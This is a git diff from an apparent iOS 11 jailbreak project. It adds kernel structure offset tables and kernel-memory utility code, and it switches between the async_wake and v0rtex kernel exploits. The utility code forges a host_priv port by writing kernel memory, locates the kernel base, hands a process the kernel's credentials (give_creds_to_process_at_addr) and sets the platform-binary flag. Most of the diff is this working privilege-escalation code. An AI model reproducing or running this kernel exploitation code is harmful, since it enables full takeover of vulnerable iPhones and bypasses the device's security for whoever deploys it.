|
||||
|
||||
/* struct vnode */
|
||||
KSTRUCT_OFFSET_VNODE_V_MOUNT,
|
||||
KSTRUCT_OFFSET_VNODE_VU_SPECINFO,
|
||||
KSTRUCT_OFFSET_VNODE_V_LOCK,
|
||||
|
||||
/* struct specinfo */
|
||||
KSTRUCT_OFFSET_SPECINFO_SI_FLAGS,
|
||||
|
||||
/* struct mount */
|
||||
KSTRUCT_OFFSET_MOUNT_MNT_FLAG,
|
||||
|
||||
/* struct host */
|
||||
KSTRUCT_OFFSET_HOST_SPECIAL,
|
||||
|
||||
KFREE_ADDR_OFFSET,
|
||||
};
|
||||
|
||||
int koffset(enum kstruct_offset offset);
|
||||
void offsets_init(void);
|
||||
|
||||
#endif
|
|
@ -0,0 +1,147 @@
|
|||
#import <Foundation/Foundation.h>
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <sys/sysctl.h>
|
||||
#include <sys/utsname.h>
|
||||
|
||||
#include "koffsets.h"
|
||||
#include "common.h"
|
||||
|
||||
#define LOG(str, args...) do { NSLog(@"[*] " str "\n", ##args); } while(false)
|
||||
|
||||
int* offsets = NULL;
|
||||
|
||||
int kstruct_offsets_11_0[] = {
|
||||
0xb, // KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE,
|
||||
0x10, // KSTRUCT_OFFSET_TASK_REF_COUNT,
|
||||
0x14, // KSTRUCT_OFFSET_TASK_ACTIVE,
|
||||
0x20, // KSTRUCT_OFFSET_TASK_VM_MAP,
|
||||
0x28, // KSTRUCT_OFFSET_TASK_NEXT,
|
||||
0x30, // KSTRUCT_OFFSET_TASK_PREV,
|
||||
0x308, // KSTRUCT_OFFSET_TASK_ITK_SPACE
|
||||
0x368, // KSTRUCT_OFFSET_TASK_BSD_INFO,
|
||||
0x3a8, // KSTRUCT_OFFSET_TASK_ALL_IMAGE_INFO_ADDR
|
||||
0x3b0, // KSTRUCT_OFFSET_TASK_ALL_IMAGE_INFO_SIZE
|
||||
0x3a0, // KSTRUCT_OFFSET_TASK_TFLAGS
|
||||
|
||||
0x0, // KSTRUCT_OFFSET_IPC_PORT_IO_BITS,
|
||||
0x4, // KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES,
|
||||
0x40, // KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE,
|
||||
0x50, // KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT,
|
||||
0x60, // KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER,
|
||||
0x68, // KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT,
|
||||
0x88, // KSTRUCT_OFFSET_IPC_PORT_IP_PREMSG,
|
||||
0x90, // KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT,
|
||||
0xa0, // KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS,
|
||||
|
||||
0x10, // KSTRUCT_OFFSET_PROC_PID,
|
||||
0x108, // KSTRUCT_OFFSET_PROC_P_FD
|
||||
0x18, // KSTRUCT_OFFSET_PROC_TASK
|
||||
0x100, // KSTRUCT_OFFSET_PROC_UCRED
|
||||
0x8, // KSTRUCT_OFFSET_PROC_P_LIST
|
||||
|
||||
0x0, // KSTRUCT_OFFSET_FILEDESC_FD_OFILES
|
||||
|
||||
0x8, // KSTRUCT_OFFSET_FILEPROC_F_FGLOB
|
||||
|
||||
0x38, // KSTRUCT_OFFSET_FILEGLOB_FG_DATA
|
||||
|
||||
0x10, // KSTRUCT_OFFSET_SOCKET_SO_PCB
|
||||
|
||||
0x10, // KSTRUCT_OFFSET_PIPE_BUFFER
|
||||
|
||||
0x14, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE_SIZE
|
||||
0x20, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE
|
||||
|
||||
0xd8, // KSTRUCT_OFFSET_VNODE_V_MOUNT
|
||||
0x78, // KSTRUCT_OFFSET_VNODE_VU_SPECINFO
|
||||
0x0, // KSTRUCT_OFFSET_VNODE_V_LOCK
|
||||
|
||||
0x10, // KSTRUCT_OFFSET_SPECINFO_SI_FLAGS
|
||||
|
||||
0x70, // KSTRUCT_OFFSET_MOUNT_MNT_FLAG
|
||||
|
||||
0x10, // KSTRUCT_OFFSET_HOST_SPECIAL
|
||||
|
||||
0x6c, // KFREE_ADDR_OFFSET
|
||||
};
|
||||
|
||||
int kstruct_offsets_11_3[] = {
|
||||
0xb, // KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE,
|
||||
0x10, // KSTRUCT_OFFSET_TASK_REF_COUNT,
|
||||
0x14, // KSTRUCT_OFFSET_TASK_ACTIVE,
|
||||
0x20, // KSTRUCT_OFFSET_TASK_VM_MAP,
|
||||
0x28, // KSTRUCT_OFFSET_TASK_NEXT,
|
||||
0x30, // KSTRUCT_OFFSET_TASK_PREV,
|
||||
0x308, // KSTRUCT_OFFSET_TASK_ITK_SPACE
|
||||
0x368, // KSTRUCT_OFFSET_TASK_BSD_INFO,
|
||||
0x3a8, // KSTRUCT_OFFSET_TASK_ALL_IMAGE_INFO_ADDR
|
||||
0x3b0, // KSTRUCT_OFFSET_TASK_ALL_IMAGE_INFO_SIZE
|
||||
0x3a0, // KSTRUCT_OFFSET_TASK_TFLAGS
|
||||
|
||||
0x0, // KSTRUCT_OFFSET_IPC_PORT_IO_BITS,
|
||||
0x4, // KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES,
|
||||
0x40, // KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE,
|
||||
0x50, // KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT,
|
||||
0x60, // KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER,
|
||||
0x68, // KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT,
|
||||
0x88, // KSTRUCT_OFFSET_IPC_PORT_IP_PREMSG,
|
||||
0x90, // KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT,
|
||||
0xa0, // KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS,
|
||||
|
||||
0x10, // KSTRUCT_OFFSET_PROC_PID,
|
||||
0x108, // KSTRUCT_OFFSET_PROC_P_FD
|
||||
0x18, // KSTRUCT_OFFSET_PROC_TASK
|
||||
0x100, // KSTRUCT_OFFSET_PROC_UCRED
|
||||
0x8, // KSTRUCT_OFFSET_PROC_P_LIST
|
||||
|
||||
0x0, // KSTRUCT_OFFSET_FILEDESC_FD_OFILES
|
||||
|
||||
0x8, // KSTRUCT_OFFSET_FILEPROC_F_FGLOB
|
||||
|
||||
0x38, // KSTRUCT_OFFSET_FILEGLOB_FG_DATA
|
||||
|
||||
0x10, // KSTRUCT_OFFSET_SOCKET_SO_PCB
|
||||
|
||||
0x10, // KSTRUCT_OFFSET_PIPE_BUFFER
|
||||
|
||||
0x14, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE_SIZE
|
||||
0x20, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE
|
||||
|
||||
0xd8, // KSTRUCT_OFFSET_VNODE_V_MOUNT
|
||||
0x78, // KSTRUCT_OFFSET_VNODE_VU_SPECINFO
|
||||
0x0, // KSTRUCT_OFFSET_VNODE_V_LOCK
|
||||
|
||||
0x10, // KSTRUCT_OFFSET_SPECINFO_SI_FLAGS
|
||||
|
||||
0x70, // KSTRUCT_OFFSET_MOUNT_MNT_FLAG
|
||||
|
||||
0x10, // KSTRUCT_OFFSET_HOST_SPECIAL
|
||||
|
||||
0x7c, // KFREE_ADDR_OFFSET
|
||||
};
|
||||
|
||||
int koffset(enum kstruct_offset offset)
|
||||
{
|
||||
if (offsets == NULL) {
|
||||
LOG("need to call offsets_init() prior to querying offsets");
|
||||
return 0;
|
||||
}
|
||||
return offsets[offset];
|
||||
}
|
||||
|
||||
void offsets_init()
|
||||
{
|
||||
if (kCFCoreFoundationVersionNumber >= 1452.23) {
|
||||
LOG("offsets selected for iOS 11.3 or above");
|
||||
offsets = kstruct_offsets_11_3;
|
||||
} else if (kCFCoreFoundationVersionNumber >= 1443.00) {
|
||||
LOG("offsets selected for iOS 11.0 to 11.2.6");
|
||||
offsets = kstruct_offsets_11_0;
|
||||
} else {
|
||||
LOG("iOS version too low, 11.0 required");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
}
|
|
@ -0,0 +1,155 @@
|
|||
#include <CoreFoundation/CoreFoundation.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
#include <mach/mach.h>
|
||||
#include <mach-o/loader.h>
|
||||
|
||||
/*#include <common.h>*/
|
||||
/*#include <iokit.h>*/
|
||||
|
||||
#include <CoreFoundation/CoreFoundation.h>
|
||||
extern void NSLog(CFStringRef, ...);
|
||||
#define LOG(str, args...) do { NSLog(CFSTR("[*] " str "\n"), ##args); } while(false)
|
||||
|
||||
#include "kmem.h"
|
||||
#include "koffsets.h"
|
||||
#include "kutils.h"
|
||||
#include "find_port.h"
|
||||
|
||||
#define TF_PLATFORM 0x00000400 /* task is a platform binary */
|
||||
|
||||
uint64_t the_realhost;
|
||||
uint64_t kernel_base;
|
||||
uint64_t kernel_slide;
|
||||
offsets_t offs;
|
||||
|
||||
uint64_t cached_task_self_addr = 0;
|
||||
uint64_t task_self_addr()
|
||||
{
|
||||
if (cached_task_self_addr == 0) {
|
||||
cached_task_self_addr = have_kmem_read() ? get_address_of_port(getpid(), mach_task_self()) : find_port_address(mach_task_self(), MACH_MSG_TYPE_COPY_SEND);
|
||||
LOG("task self: 0x%llx", cached_task_self_addr);
|
||||
}
|
||||
return cached_task_self_addr;
|
||||
}
|
||||
|
||||
uint64_t ipc_space_kernel()
|
||||
{
|
||||
return ReadKernel64(task_self_addr() + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER));
|
||||
}
|
||||
|
||||
uint64_t current_thread()
|
||||
{
|
||||
uint64_t thread_port = have_kmem_read() ? get_address_of_port(getpid(), mach_thread_self()) : find_port_address(mach_thread_self(), MACH_MSG_TYPE_COPY_SEND);
|
||||
return ReadKernel64(thread_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
|
||||
}
|
||||
|
||||
uint64_t find_kernel_base()
|
||||
{
|
||||
uint64_t hostport_addr = have_kmem_read() ? get_address_of_port(getpid(), mach_host_self()) : find_port_address(mach_host_self(), MACH_MSG_TYPE_COPY_SEND);
|
||||
uint64_t realhost = ReadKernel64(hostport_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
|
||||
the_realhost = realhost;
|
||||
|
||||
uint64_t base = realhost & ~0xfffULL;
|
||||
// walk down to find the magic:
|
||||
for (int i = 0; i < 0x10000; i++) {
|
||||
if (ReadKernel32(base) == MACH_HEADER_MAGIC) {
|
||||
return base;
|
||||
}
|
||||
base -= 0x1000;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
mach_port_t fake_host_priv_port = MACH_PORT_NULL;
|
||||
|
||||
// build a fake host priv port
|
||||
mach_port_t fake_host_priv()
|
||||
{
|
||||
if (fake_host_priv_port != MACH_PORT_NULL) {
|
||||
return fake_host_priv_port;
|
||||
}
|
||||
// get the address of realhost:
|
||||
uint64_t hostport_addr = have_kmem_read() ? get_address_of_port(getpid(), mach_host_self()) : find_port_address(mach_host_self(), MACH_MSG_TYPE_COPY_SEND);
|
||||
uint64_t realhost = ReadKernel64(hostport_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
|
||||
|
||||
// allocate a port
|
||||
mach_port_t port = MACH_PORT_NULL;
|
||||
kern_return_t err;
|
||||
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("failed to allocate port");
|
||||
return MACH_PORT_NULL;
|
||||
}
|
||||
|
||||
// get a send right
|
||||
mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
|
||||
|
||||
// locate the port
|
||||
uint64_t port_addr = have_kmem_read() ? get_address_of_port(getpid(), port) : find_port_address(port, MACH_MSG_TYPE_COPY_SEND);
|
||||
|
||||
// change the type of the port
|
||||
#define IKOT_HOST_PRIV 4
|
||||
#define IO_ACTIVE 0x80000000
|
||||
WriteKernel32(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IO_BITS), IO_ACTIVE | IKOT_HOST_PRIV);
|
||||
|
||||
// change the space of the port
|
||||
WriteKernel64(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER), ipc_space_kernel());
|
||||
|
||||
// set the kobject
|
||||
WriteKernel64(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), realhost);
|
||||
|
||||
fake_host_priv_port = port;
|
||||
|
||||
return port;
|
||||
}
|
||||
|
||||
int message_size_for_kalloc_size(int kalloc_size)
|
||||
{
|
||||
return ((3 * kalloc_size) / 4) - 0x74;
|
||||
}
|
||||
|
||||
|
||||
uint64_t get_proc_struct_for_pid(pid_t pid)
|
||||
{
|
||||
uint64_t proc = ReadKernel64(ReadKernel64(GETOFFSET(kernel_task)) + koffset(KSTRUCT_OFFSET_TASK_BSD_INFO));
|
||||
while (proc) {
|
||||
if (ReadKernel32(proc + koffset(KSTRUCT_OFFSET_PROC_PID)) == pid)
|
||||
return proc;
|
||||
proc = ReadKernel64(proc + koffset(KSTRUCT_OFFSET_PROC_P_LIST));
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
uint64_t get_address_of_port(pid_t pid, mach_port_t port)
|
||||
{
|
||||
uint64_t proc_struct_addr = get_proc_struct_for_pid(pid);
|
||||
uint64_t task_addr = ReadKernel64(proc_struct_addr + koffset(KSTRUCT_OFFSET_PROC_TASK));
|
||||
uint64_t itk_space = ReadKernel64(task_addr + koffset(KSTRUCT_OFFSET_TASK_ITK_SPACE));
|
||||
uint64_t is_table = ReadKernel64(itk_space + koffset(KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE));
|
||||
uint32_t port_index = port >> 8;
|
||||
const int sizeof_ipc_entry_t = 0x18;
|
||||
uint64_t port_addr = ReadKernel64(is_table + (port_index * sizeof_ipc_entry_t));
|
||||
return port_addr;
|
||||
}
|
||||
|
||||
uint64_t get_kernel_cred_addr()
|
||||
{
|
||||
uint64_t kernel_proc_struct_addr = ReadKernel64(ReadKernel64(GETOFFSET(kernel_task)) + koffset(KSTRUCT_OFFSET_TASK_BSD_INFO));
|
||||
return ReadKernel64(kernel_proc_struct_addr + koffset(KSTRUCT_OFFSET_PROC_UCRED));
|
||||
}
|
||||
|
||||
uint64_t give_creds_to_process_at_addr(uint64_t proc, uint64_t cred_addr)
|
||||
{
|
||||
uint64_t orig_creds = ReadKernel64(proc + koffset(KSTRUCT_OFFSET_PROC_UCRED));
|
||||
WriteKernel64(proc + koffset(KSTRUCT_OFFSET_PROC_UCRED), cred_addr);
|
||||
return orig_creds;
|
||||
}
|
||||
|
||||
void set_platform_binary(uint64_t proc)
|
||||
{
|
||||
uint64_t task_struct_addr = ReadKernel64(proc + koffset(KSTRUCT_OFFSET_PROC_TASK));
|
||||
uint32_t task_t_flags = ReadKernel32(task_struct_addr + koffset(KSTRUCT_OFFSET_TASK_TFLAGS));
|
||||
task_t_flags |= TF_PLATFORM;
|
||||
WriteKernel32(task_struct_addr + koffset(KSTRUCT_OFFSET_TASK_TFLAGS), task_t_flags);
|
||||
}
|
|
@ -0,0 +1,46 @@
|
|||
#ifndef kutils_h
|
||||
#define kutils_h
|
||||
|
||||
#include "common.h"
|
||||
#include <mach/mach.h>
|
||||
|
||||
#define SETOFFSET(offset, val) (offs.offset = val)
|
||||
#define GETOFFSET(offset) offs.offset
|
||||
|
||||
typedef struct {
|
||||
kptr_t trustcache;
|
||||
kptr_t OSBoolean_True;
|
||||
kptr_t osunserializexml;
|
||||
kptr_t smalloc;
|
||||
kptr_t add_x0_x0_0x40_ret;
|
||||
kptr_t zone_map_ref;
|
||||
kptr_t vfs_context_current;
|
||||
kptr_t vnode_lookup;
|
||||
kptr_t vnode_put;
|
||||
kptr_t kernel_task;
|
||||
kptr_t shenanigans;
|
||||
kptr_t lck_mtx_lock;
|
||||
kptr_t lck_mtx_unlock;
|
||||
} offsets_t;
|
||||
|
||||
extern offsets_t offs;
|
||||
extern uint64_t kernel_base;
|
||||
extern uint64_t kernel_slide;
|
||||
|
||||
uint64_t task_self_addr(void);
|
||||
uint64_t ipc_space_kernel(void);
|
||||
uint64_t find_kernel_base(void);
|
||||
|
||||
uint64_t current_thread(void);
|
||||
|
||||
mach_port_t fake_host_priv(void);
|
||||
|
||||
int message_size_for_kalloc_size(int kalloc_size);
|
||||
|
||||
uint64_t get_proc_struct_for_pid(pid_t pid);
|
||||
uint64_t get_address_of_port(pid_t pid, mach_port_t port);
|
||||
uint64_t get_kernel_cred_addr(void);
|
||||
uint64_t give_creds_to_process_at_addr(uint64_t proc, uint64_t cred_addr);
|
||||
void set_platform_binary(uint64_t proc);
|
||||
|
||||
#endif /* kutils_h */
|
|
@ -17,16 +17,18 @@
|
|||
#include "magic.h"
|
||||
#include "liboffsetfinder64/getoffsets.h"
|
||||
#include "v0rtex.h"
|
||||
#include "async_wake.h"
|
||||
#include "kernel_utils.h"
|
||||
#include "patchfinder64.h"
|
||||
#include "trustcache.h"
|
||||
|
||||
//#define DEBUG 1
|
||||
#define DEBUG 1
|
||||
#ifdef DEBUG
|
||||
|
||||
#define SLOG(msg, ...) \
|
||||
do { \
|
||||
if (getuid() == 0) { \
|
||||
NSLog(@"GREPME" msg "\n", __VA_ARGS__); \
|
||||
if (getuid() == 123) { \
|
||||
FILE* logfile = fopen("/var/mobile/log.txt", "a");\
|
||||
fprintf(logfile,msg, __VA_ARGS__); \
|
||||
fclose(logfile); \
|
||||
|
@ -95,14 +97,20 @@ void fail(uint64_t x) {
|
|||
|
||||
int main() {
|
||||
|
||||
*(volatile int*)(0xbad000000000ull + 0xfaf) = 0xdead;
|
||||
|
||||
SLOG("%s", "Starting...\n");
|
||||
offsets_t *off = get_offsets();
|
||||
SLOG("%s", "Got offsets\n");
|
||||
|
||||
mach_port_t tfp0 = MACH_PORT_NULL;
|
||||
uint64_t kbase = 0;
|
||||
kern_return_t ret = exploit(off, &tfp0, &kbase);
|
||||
kern_return_t ret = KERN_FAILURE;
|
||||
|
||||
if (kCFCoreFoundationVersionNumber >= 1443.00) {
|
||||
ret = async_wake(&tfp0);
|
||||
} else {
|
||||
offsets_t *off = get_offsets();
|
||||
SLOG("%s", "Got offsets\n");
|
||||
ret = v0rtex(off, &tfp0, &kbase);
|
||||
}
|
||||
|
||||
if(ret != KERN_SUCCESS || !MACH_PORT_VALID(tfp0))
|
||||
{
|
||||
SLOG("%s", "exploit failed\n");
|
||||
|
|
|
@ -9,7 +9,7 @@
|
|||
#ifdef __cplusplus
|
||||
extern "C"
|
||||
#endif
|
||||
kern_return_t exploit(offsets_t *off, mach_port_t* tfp0, uint64_t* kernelbase);
|
||||
kern_return_t v0rtex(offsets_t *off, mach_port_t* tfp0, uint64_t* kernelbase);
|
||||
|
||||
|
||||
#endif
|
||||
|
|
|
@ -624,7 +624,7 @@ kern_return_t readback_fakeport(io_connect_t client, uint32_t pageId, uint64_t o
|
|||
|
||||
// ********** ********** ********** ye olde pwnage ********** ********** **********
|
||||
|
||||
kern_return_t exploit(offsets_t *off, mach_port_t* tfp0, uint64_t* kernelbase)
|
||||
kern_return_t v0rtex(offsets_t *off, mach_port_t* tfp0, uint64_t* kernelbase)
|
||||
{
|
||||
kern_return_t retval = KERN_FAILURE,
|
||||
ret = 0;
|
||||
|
|
Loading…
Reference in New Issue